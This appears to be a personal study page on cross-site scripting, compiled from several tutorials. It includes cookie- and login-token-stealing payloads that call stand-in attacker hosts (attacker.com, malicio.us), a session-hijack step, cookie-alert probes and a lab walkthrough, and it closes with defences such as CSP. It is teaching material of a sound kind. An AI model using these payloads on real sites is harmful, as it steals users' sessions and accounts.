Security Xss Introduction

security-xss

// Security - Cross Site Scripting (XSS):

Attackers can execute scripts in a victim’s browser to hijack user sessions, 
deface web sites, insert hostile content, redirect users, hijack the user’s 
browser using malware, etc.

Can I hijack the user's browser and install malware onto the browser?  How?

Automated tools can find some XSS problems automatically. However, each 
application builds output pages differently and uses different browser side 
interpreters such as JavaScript, ActiveX, Flash, and Silverlight, making 
automated detection difficult. Therefore, complete coverage requires a 
combination of manual code review and penetration testing, in addition to 
automated approaches.

Example of XSS Attacks:

Consider:

(String) page += "<input name='creditcard' type='TEXT' value='" + 
  request.getParameter("CC") + "'>";

where CC is an input field or a textarea, and the attacker provides:

'><script>document.location= '
  http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.

When the user view a page where this unescaped content is displayd, the script 
is automatically executed, and the session (cookie) is automatically sent to 
the phony server attacker.com controlled by the attacker.  The attacker can just 
tail his access log to get the session ID.  Knowing the session ID, the attacker 
can possibly use some tool to manually recreate the cookie on his browser, and 
therefore can access the service as though he was the actual user.

We’ve given users the ability to enter potentially malicious markup in their 
titles. Check out this example title:

<img src="fakeurl"
  onerror="$.get('//www.malicio.us/'+localStorage['Meteor.loginToken'])"
  alt="Cats suck!">

Now, imagine that the bad person who posted this title has a simple web server 
running on www.malicio.us listening for and logging any GET requests it 
recieves. After a few innocent users stumble across this post on our 
application, their sensitive login tokens would be pulled from their local 
storage and sent to malicio.us. The malicio.us web logs would look something 
like this:

GET http://www.malicio.us/g8Ri6DxKc3lSwqnYxHCJ0xE-XjMPf3jX-p_xSUPnN-D
GET http://www.malicio.us/LPPp7Tdb_qveRwa7-dLeCAxpqpc9oYM53Gt0HG6kwQ5
GET http://www.malicio.us/go9olSuebBjfQQqTrL-86d_LlfcctG848r7dBhW_kCL

The attacker who posted the malicious title could easily steal any of these 
active sessions by navigating to our Meteor application and running the 
following code in their browser console:

Meteor.loginWithToken("g8Ri6DxKc3lSwqnYxHCJ0xE-XjMPf3jX-p_xSUPnN-D");

And just like that, a user’s account has been stolen. The crux of the issue 
here is that we’re using a triple-brace tag to insert raw HTML directly into the 
DOM. Without any kind of sanitation or validation, we have no way of knowing 
that users aren’t providing us with malicious markup that will potentially run 
on all of our users’ browsers.

In this case, the attacker simply grabbed the current user’s loginToken out of 
local storage with the intent of hijacking their account. XSS attacks can be 
far more sophisticated, though. They can be as subtle as silently calling 
methods on behalf of the client, and as lavish as constructing entire user 
interface components designed to extract sensitive information (credentials, 
credit card numbers, etc…) from users.

Consider:

<script> 
var name = '{!account.name}'; 
</script>

If the value in the name field happens to be containcharacters the browser 
would recognize as javaScript, those characters would be interpreted as code 
and run, causing an XSS vulnerability. A common XSS input for this type of 
vulnerability would be "bob';alert(document.cookie);", which would result in 
the following code:

<script> 
var name = 'bob';alert(document.cookie); 
</script>

This code would now maintain it's primary function of setting the name, but 
would also create an alert box displaying the cookies for the page. An attacker 
would probably send the cookies to themselves, possibly leaking important 
sessionid information. 

The demo section below takes user input.  When the button is clicked, a 
JavaScript method is invoked that reads the user input, adds some HTML styling, 
and renders it on the page.

To determine if a field or a query parameter is vulnerable to XSS attack, try 
to use something like '<u>normal field value</u>' to see if it has the effect.  
If it does have the effect, then we can try something like:

<img src=x onerror="alert(\'Ha.  You are hacked.\')" />

The purpose of this demo is to illustrate the basics of cross-site scripting, 
or XSS for short. You will get to practice a few different XSS attacks and then 
learn how to fix the code.

1. To begin, enter some text into the input and click "Make Pretty!" to see the 
   basic functionality of the demo.

2. The goal with XSS is to find away to have our text input interpreted as code. 
   Since our input is rendered with special styling, perhaps we can add an 
   additional styling effect. Try inputing "<u>bobby</u>"

3. If your input was rendered underlined, you have successfully located a place 
   on the page where your input is being interpreted as code.

4. Next lets try something more advanced. Try using the tag "<img src=x>"

5. If successful, you should see a broken image symbol render in your browser.

6. So far we have managed to use our XSS vector for defacing the page, but what 
   about something with more impact? It's called cross-site SCRIPTING for a 
   reason. Various browsers behave differently when it comes to XSS, but try 
   some of the following methods to see the makings of a true XSS attack: 

   a. The basic attack: <script>alert(document.cookie);</script>
   b. Run your mouse over this one: 
      <a onmouseover="alert(document.cookie)">XSS!</a>
   c. My personal favorite: <IMG SRC=/ onerror="alert(document.cookie)"></img>>
   d. For additional experimentation refer to:OWASP XSS Cheat Sheet

7. A successul attack will produce a popup with the contents of document.cookie. 
   Attackers often target cookies for the authentication information they 
   contain!

8. For extra credit and an additional challenge, there is a javascript based XSS 
   in this input as well. Can you attack it successfully? Hint: Your input needs 
   to allow the JavaScript to run successfully. Try beginning your input with '; 
   and ending with //

This is just one example.  XSS can also happens on various HTML attributes.

The attackers can also use XSS to defeat any automated CSRF defense the 
application might employ.

XSS mostly occurs when your app accepts and displays user generated content. 
But XSS can still happen even if you are not accepting any user generated 
content.  For example, maybe you allow users to search your app or display 
something on the screen based on a URL parameter. Or maybe some of your smart 
packages or third party JavaScript libraries are vulnerable to XSS. These are 
just two situations where malicious users applying XSS can cause a lot of 
trouble for you and your users.

Be Cautious When Adding User Content in Untrusted Areas. The OWASP XSS guide 
shows some untrusted areas in the HTML where you might need to focus when adding 
user content. If your app uses one of those areas, use some defense mechanism to 
deal with XSS.

Use Content Security Policy (CSP). Even if you have made sure to cover all the 
untrusted code shown above, there is still a chance that you might miss some 
places. Sometimes a package you install or a third party library can cause 
vulnerability to XSS or might do something unintended. That’s where the W3C 
standard, Content Security Policy, comes in handy. With CSP, a web server can 
ask the browser to limit some of the actions that cause XSS.
Unless otherwise stated, the content of this page is licensed under Creative Commons Attribution-ShareAlike 3.0 License